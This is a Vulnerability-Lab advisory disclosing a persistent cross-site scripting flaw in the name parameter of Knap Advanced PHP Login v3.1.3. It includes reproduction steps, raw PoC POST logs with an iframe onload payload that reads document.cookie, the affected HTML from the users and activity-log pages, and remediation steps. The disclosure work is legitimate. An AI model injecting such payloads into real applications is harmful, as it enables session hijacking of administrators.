Knap (APL) v3.1.3 - Persistent Cross Site Vulnerability

["info () vulnerability-lab com" <info () vulnerability-lab com>]

Document Title:
===============
Knap (APL) v3.1.3 - Persistent Cross Site Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2307


Release Date:
=============
2022-10-10


Vulnerability Laboratory ID (VL-ID):
====================================
2307


Common Vulnerability Scoring System:
====================================
5.7


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Knap is an advanced User Management software written in Laravel 5.4 (PHP Framework) that allows the admin to manage 
users.



Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent cross site web vulnerability in the Knap 
Advanced PHP Login v3.1.3 user management web-application.


Affected Product(s):
====================
ajay138
Product: Knap Advanced PHP Login v3.1.3 - User Management (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2021-09-03: Researcher Notification & Coordination (Security Researcher)
2021-09-04: Vendor Notification (Security Department)
2022-**-**: Vendor Response/Feedback (Security Department)
2022-**-**: Vendor Fix/Patch (Service Developer Team)
2022-**-**: Security Acknowledgements (Security Department)
2022-10-10: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (User Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discoveredin the Knap Advanced PHP Login v3.1.3 user 
management web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to 
compromise browser to web-application
requests from the application-side.

The persistent cross site web vulnerability is located in the name parameter of the Profile Account - Account 
Information module.
Remote attackers with ow privileged user accounts are able to inject own malicious script code as name to provoke an 
execution
of the malicious content inside the users and activity log backend modules. The request method to inject is post. The 
injection
points are the user create or update and the execution of the maliciou script code occurs in the activity log and users 
listings.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent 
external redirects
to malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Register (Site)
[+] Update (Account Information)

Vulnerable Input(s):
[+] Name

Vulnerable Parameter(s):
[+] name

Affected Module(s):
[+] ./users
[+] ./activity


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account 
and low user interaction.
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information 
and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Register as user or get registered by the admin
2. Start your web browser and a session tamper or debug tools
3. Open the My Profile menu with the Profile Account information section
4. Change the name input to your script code test payload and save via submit (post)
Note: The injected payload executes successfully in the users list (backend) and within the activity log on history 
(backend) on preview by admins or mods
5. Successful reproduce of the persistent cross site scripting web vulnerability!


--- PoC Session Logs (POST [Inject via User Role by Profile Account Update|Create] ---
https://knap.froid.works/profiles/102
Host: knap.froid.works
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------73425417436906186553080920069
Content-Length: 29455
Origin:https://knap.froid.works
Connection: keep-alive
Referer:https://knap.froid.works/profile-edit
Cookie: laravel_session=eyJpdiI6Ikt4Zmd3WDVSeThObVlvbnZld1JadWc9PSIsInZhbHVlIjoiN3pubk1YaVwvaWp6aWF2QlNwb3l2T2
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&53=o&54=d&55==&56=P&57=U&58=T&59=&&60=n&61=a&62=m&63=e&64==&65=P&66=i&67=p&68=p&69=o&70=%&71=2&72=2&73=%&74=3&75=E&76=%&77=3
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&177=&&178=e&179=m&180=a&181=i&182=l&183==&184=f&185=t&186=p&187=%&188=4&189=0&190=l&191=i&192=v&193=e&194=.&195=c&196=o
&197=m&198=&&199=d&200=o&201=b&202==&203=2&204=0&205=2&206=1&207=-&208=0&209=9&210=-&211=1&212=0&213=&&214=g&215=e&216=n&217=d&218=e&219=r&220==&221=m&222=a&223=l&224=e&225=&&226=c&227=u&228=s&229=t&230=o
&231=m&232=_&233=f&234=i&235=e&236=l&237=d&238=s&239=_&240=d&241=a&242=t&243=a&244=%&245=5&246=B&247=u&248=r&249=b&250=_
&251=1&252=%&253=5&254=D&255==&256=t&257=e&258=s
&259=t&260=e&_token=SB0qT5bOBkRwdnUJMAzgBe8TX0FqvNLbJIjMk1Bz&_method=PUT&name=Pippo"><img>>"<iframe src=evil.source 
onload=alert('PWND')></iframe>&type=personalInfo
&email=ftp () live com&dob=2021-09-10&gender=male&custom_fields_data[urb_1]=teste
-
POST: HTTP/1.1 200 OK
Server: Apache/2.4.39 (Ubuntu)
Set-Cookie:
laravel_session=eyJpdiI6Ik1zbUliRHJrMjNqY2pPcDQ5aENtYVE9PSIsInZhbHVlIjoiRjVYTG9aNjJUTlwvbHJDZ2xQbUx6V1hTOFg2SnlWeTBDYW1HVHNVOEJ4bUR
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expires=Fri, 10-Sep-2021 19:09:50 GMT; Max-Age=7200; path=/; httponly
Content-Length: 53
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json



--- PoC Session Logs (POST [Inject via Admin Role] ---
https://knap.froid.works/users/102
Host: knap.froid.works
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------23081715668612801831491484963
Content-Length: 39263
Origin:https://knap.froid.works
Connection: keep-alive
Referer:https://knap.froid.works/users
Cookie: laravel_session=eyJpdiI6IktJUUlXU21TZHZGRHdkNEczbGZwMXc9PSIsInZhbHVlIjoidlhcLzl3cU1UbHVwZFVDclhkXC9CZGdDNkh
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0=_&1=t&2=o&3=k&4=e&5=n&6==&7=S&8=B&9=0&10=q&11=T&12=5&13=b&14=O&15=B&16=k&17=R&18=w&19=d&20=n&21=U&22=J&23=M&24=A&25=z&26=g&27=B&28=e&29=8&30=T&31=X&32=0&33=
F&34=q&35=v&36=N&37=L&38=b&39=J&40=I&41=j&42=M&43=k&44=1&45=B&46=z&47=&&48=_&49=m&50=e&51=t&52=h&53=o&54=d&55==&56=P&57=U&58=T&59=&&60=n&61=a&62=m&63=
e&64==&65=P&66=i&67=p&68=p&69=o&70=%&71=2&72=2&73=%&74=3&75=E&76=%&77=3&78=C&79=i&80=f&81=r&82=a&83=m&84=e&85=%&86=3&87=E&88=%&89=3&90=E&91=%&92=2&93=
2&94=%&95=3&96=C&97=i&98=f&99=r&100=a&101=m&102=e&103=+&104=s&105=r&106=c&107=%&108=3&109=D&110=e&111=v&112=i&113=l&114=.&115=s&116=o&117=u&118=r&119=
c&120=e&121=+&122=o&123=n&124=l&125=o&126=a&127=d&128=%&129=3&130=D&131=a&132=l&133=e&134=r&135=t&136=(&137=d&138=o&139=c&140=u&141=m&142=e&143=n&144=
t&145=.&146=c&147=o&148=o&149=k&150=i&151=e&152=)&153=%&154=3&155=E&156=%&157=3&158=C&159=%&160=2&161=F&162=i&163=f&164=r&165=a&166=m&167=e&168=%&169=3&170=E&171=&&172=e&173=m&174=a&175=i&176=l&177==&178=f&179=e&180=l&181=i&182=x&183=d&184=i&185=r&186=%&187=4&188=0&189=l&190=i&191=v&192=
e&193=.&194=c&195=o&196=m&197=&&198=d&199=o&200=b&201==&202=2&203=0&204=2&205=1&206=-&207=0&208=9&209=-&210=1&211=0&212=&&213=g&214=e&215=n&216=d&217=e&218=r&219==&220=m&221=a&222=l&223=e&224=&&225=p&226=a&227=s&228=s&229=w&230=o&231=r&232=
d&233==&234=&&235=x&236=C&237=o&238=o&239=r&240=d&241=O&242=n&243=e&244==&245=&&246=y&247=C&248=o&249=o&250=r&251=d&252=O&253=n&254=
e&255==&256=&&257=p&258=r&259=o&260=f&261=i&262=l&263=e&264=I&265=m&266=a&267=g&268=e&269=W&270=i&271=d&272=t&273=h&274==&275=&&276=
p&277=r&278=o&279=f&280=i&281=l&282=e&283=I&284=m&285=a&286=g&287=e&288=H&289=e&290=i&291=g&292=h&293=t&294==&295=&&296=c&297=u&298=
s&299=t&300=o&301=m&302=_&303=f&304=i&305=e&306=l&307=d&308=s&309=_&310=d&311=a&312=t&313=a&314=%&315=5&316=B&317=u&318=r&319=b&320=_&321=1&322=%&323=5&324=D&325==&326=a&327=s&328=d&329=a&330=&&331=s&332=t&333=a&334=t&335=u&336=s&337==&338=a&339=c&340=t&341=
i&342=v&343=e&_token=SB0qT5bOBkRwdnUJMAzgBe8TX0FqvNLbJIjMk1Bz&_method=PUT&name=Pippo"><img>>"<iframe src=evil.source 
onload=alert(document.cookie)></iframe>&email=felixdir () live 
com&dob=2021-09-10&gender=male&password=&image=&xCoordOne=&yCoordOne=&profileImageWidth=&profileImageHeight=&custom_fields_data[urb_1]=asda&status=active
-
POST: HTTP/1.1 200 OK
Server: Apache/2.4.39 (Ubuntu)
Set-Cookie:
laravel_session=eyJpdiI6IjdiMGZ5MHYzYklHbXpMS3FXK3ExTWc9PSIsInZhbHVlIjoid04yKzJWXC9wMzNEdVdheWJUVHNNS0c5VHQ3R2Y2OGpqY0U1a2VcLzRoM1
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expires=Fri, 10-Sep-2021 18:52:58 GMT; Max-Age=7200; path=/; httponly
Content-Length: 53
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json


Vulnerable Source: ./users (knap.deleteAlert)
<table class="table table-striped table-bordered table-hover table-checkable order-column dataTable no-footer" id="users" role="grid" 
aria-describedby="users_info" style="width: 1568px;">
<thead>
<tr role="row"><th class="sorting" tabindex="0" aria-controls="users" rowspan="1" colspan="1" style="width: 57px;" aria-label="ID: 
activate to sort column ascending">ID</th>
<th class="sorting" tabindex="0" aria-controls="users" rowspan="1" colspan="1" style="width: 67px;" aria-label="Avatar: activate to 
sort column ascending">Avatar</th>
<th class="sorting_asc" tabindex="0" aria-controls="users" rowspan="1" colspan="1" style="width: 120px;" aria-label="Name: 
activate to sort column descending"
aria-sort="ascending">Name</th><th class="sorting" tabindex="0" aria-controls="users" rowspan="1" colspan="1" style="width: 
257px;"
aria-label="Email: activate to sort column ascending">Email</th><th class="sorting" tabindex="0" aria-controls="users" 
rowspan="1" colspan="1"
style="width: 73px;" aria-label="Gender: activate to sort column ascending">Gender</th><th class="sorting_disabled" rowspan="1" 
colspan="1"
style="width: 258px;" aria-label="Roles">Roles</th><th class="sorting" tabindex="0" aria-controls="users" rowspan="1" colspan="1" 
style="width: 64px;"
aria-label="Status: activate to sort column ascending">Status</th><th class="sorting_disabled" rowspan="1" colspan="1" style="width: 323px;" 
aria-label="Actions">Actions</th></tr>
</thead>
<tbody>
<tr role="row" class="odd"><td>19</td><td><img src="https://www.gravatar.com/avatar/18228d88bbd04db784b489f7ad9402e0?d=mm&amp;s=250";  
height="100px"></td>
<td class="sorting_1">Abdul Zboncak"&gt;&lt;img&gt;&gt;"&lt;iframe src=evil.source 
onload=alert(document.cookie)&gt;&lt;/iframe&gt;</td><td>test () test de</td>
<td><span id="status19" class="label bg-blue disabled color-palette"> <i class="fa fa-male"></i> male</span></td><td><ul><li>Role 
Dashboard</li></ul></td><td><span class="label label-sm label-success">Active</span></td>
-
<a style="margin: 1px;" href="javascript:;"  onclick="knap.deleteAlert('users','Are you sure you want to delete <strong>Abdul 
Zboncak"><img>>"<iframe src=evil.source onload=alert(document.cookie)></iframe>?
This action cannot be undone.',19)"  class="btn btn-sm btn-danger red"&gt;<i class="fa fa-trash"></i> Delete</a>



Vulnerable Source: ./activity
<div class="portlet light bordered">
<div class="portlet-title">
<div class="caption font-dark">
<i class="icon-clock"></i>
<span class="caption-subject bold uppercase"> Activity Log </span>
</div>
<div class="actions">
</div></div>
<div class="portlet-body">
<div class="table-toolbar">
<div class="row">
<div class="col-md-6">
</div></div></div>
<div id="activity_wrapper" class="dataTables_wrapper no-footer"><div class="row"><div class="col-md-6 col-sm-6"><div 
class="dataTables_length" id="activity_length">
<label>Show <select name="activity_length" aria-controls="activity" class="form-control input-sm input-xsmall input-inline"><option 
value="10">10</option>
<option value="15">15</option><option value="20">20</option><option value="-1">All</option></select> records</label></div></div><div 
class="col-md-6 col-sm-6">
<div id="activity_filter" class="dataTables_filter"><label>Search:<input type="search" class="form-control input-sm input-small 
input-inline" placeholder=""
aria-controls="activity"></label></div></div><div id="activity_processing" class="dataTables_processing" style="display: 
none;">Processing...</div></div>
<div class="table-scrollable"><table class="table table-striped table-bordered table-hover order-column dataTable no-footer" 
id="activity" role="grid"
aria-describedby="activity_info" style="width: 1566px;">
<thead>
<tr role="row"><th class="sorting" tabindex="0" aria-controls="activity" rowspan="1" colspan="1" style="width: 61px;" 
aria-label="ID: activate to sort column
ascending">ID</th><th class="sorting" tabindex="0" aria-controls="activity" rowspan="1" colspan="1" style="width: 1093px;" 
aria-label="Message: activate to sort
column ascending">Message</th><th class="sorting_desc" tabindex="0" aria-controls="activity" rowspan="1" colspan="1" style="width: 
266px;" aria-sort="descending"
aria-label="Log Time: activate to sort column ascending">Log Time</th></tr>
</thead>
<tbody>
<tr role="row" class="odd"><td>114</td><td>Admin updated role <strong>role-activity-log</strong> successfully</td><td 
class="sorting_1">Fri, Sep 10, 2021 5:03 PM</td></tr>
<tr role="row" class="even"><td>113</td><td>Admin updated role <strong>role-activity-log"&gt;<img>>"<iframe src=evil.source 
onload=alert(document.cookie)></iframe></strong>
successfully</td><td class="sorting_1">Fri, Sep 10, 2021 5:02 PM</td></tr><tr role="row" class="odd"><td>112</td><td>Admin updated user 
<strong>Abdul Zboncak</strong> successfully</td>
<td class="sorting_1">Fri, Sep 10, 2021 5:02 PM</td></tr><tr role="row" class="even"><td>111</td><td>Admin updated user
<strong>Abdul Zboncak"&gt;<img>>"<iframe src=evil.source onload=alert(document.cookie)></iframe></strong> successfully</td><td 
class="sorting_1">Fri, Sep 10, 2021 4:57 PM</td></tr>
<tr role="row" class="odd"><td>110</td><td>Admin deleted user <strong>a</strong> successfully</td><td class="sorting_1">Fri, Sep 10, 2021 4:57 
PM</td></tr><tr role="row" class="even">
<td>109</td><td>Admin updated user <strong>a</strong> successfully</td><td class="sorting_1">Fri, Sep 10, 2021 4:57 PM</td></tr><tr role="row" 
class="odd"><td>108</td>
<td>Admin created user <strong>a"&gt;<img>>"<iframe src=evil.source onload=alert(document.cookie)></iframe></strong> successfully</td><td 
class="sorting_1">Fri, Sep 10, 2021 4:56 PM</td>
</tr><tr role="row" class="even"><td>107</td><td>Admin updated user <strong>Pippo</strong> successfully</td><td 
class="sorting_1">Fri, Sep 10, 2021 4:56 PM</td></tr>
<tr role="row" class="odd"><td>106</td><td>Admin updated user <strong>Pippo"&gt;<img>>"<iframe src=evil.source 
onload=alert(document.cookie)></iframe></strong>
successfully</td><td class="sorting_1">Fri, Sep 10, 2021 4:52 PM</td></tr><tr role="row" class="even"><td>105</td>
<td>Admin updated user <strong>Pippo&gt;"<iframe src="evil.source" onload="alert(document.cookie)"></iframe></strong> successfully</td><td 
class="sorting_1">Fri, Sep 10, 2021 4:52 PM</td></tr></tbody>
</table></div><div class="row"><div class="col-md-5 col-sm-5"><div class="dataTables_info" id="activity_info"
role="status" aria-live="polite">Showing 1 to 10 of 100 records</div></div><div class="col-md-7 col-sm-7"><div 
class="dataTables_paginate paging_bootstrap_full_number"
id="activity_paginate"><ul class="pagination" style="visibility: visible;"><li class="prev disabled"><a href="#" title="First"><i class="fa 
fa-angle-double-left"></i></a>
</li><li class="prev disabled"><a href="#" title="Prev"><i class="fa fa-angle-left"></i></a></li><li class="active"><a href="#">1</a></li><li><a 
href="#">2</a></li>
<li><a href="#">3</a></li><li><a href="#">4</a></li><li><a href="#">5</a></li><li class="next"><a href="#" title="Next"><i class="fa 
fa-angle-right"></i></a></li>
<li class="next"><a href="#" title="Last"><i class="fa fa-angle-double-right"></i></a></li></ul></div></div></div></div>
</div>
</div>



Solution - Fix & Patch:
=======================
The persistent xss web vulnerability can be resolved by the following steps ...
1. Restrict the input fields of the name parameter to disallow special chars for the registration and update account 
information
2. Encode and escape the content of the name parameter to sanitize the registration and update account information
3. Sanitize and filter the output locations of the users and the activity log list modules


Credits & Authors:
==================
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


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=========================
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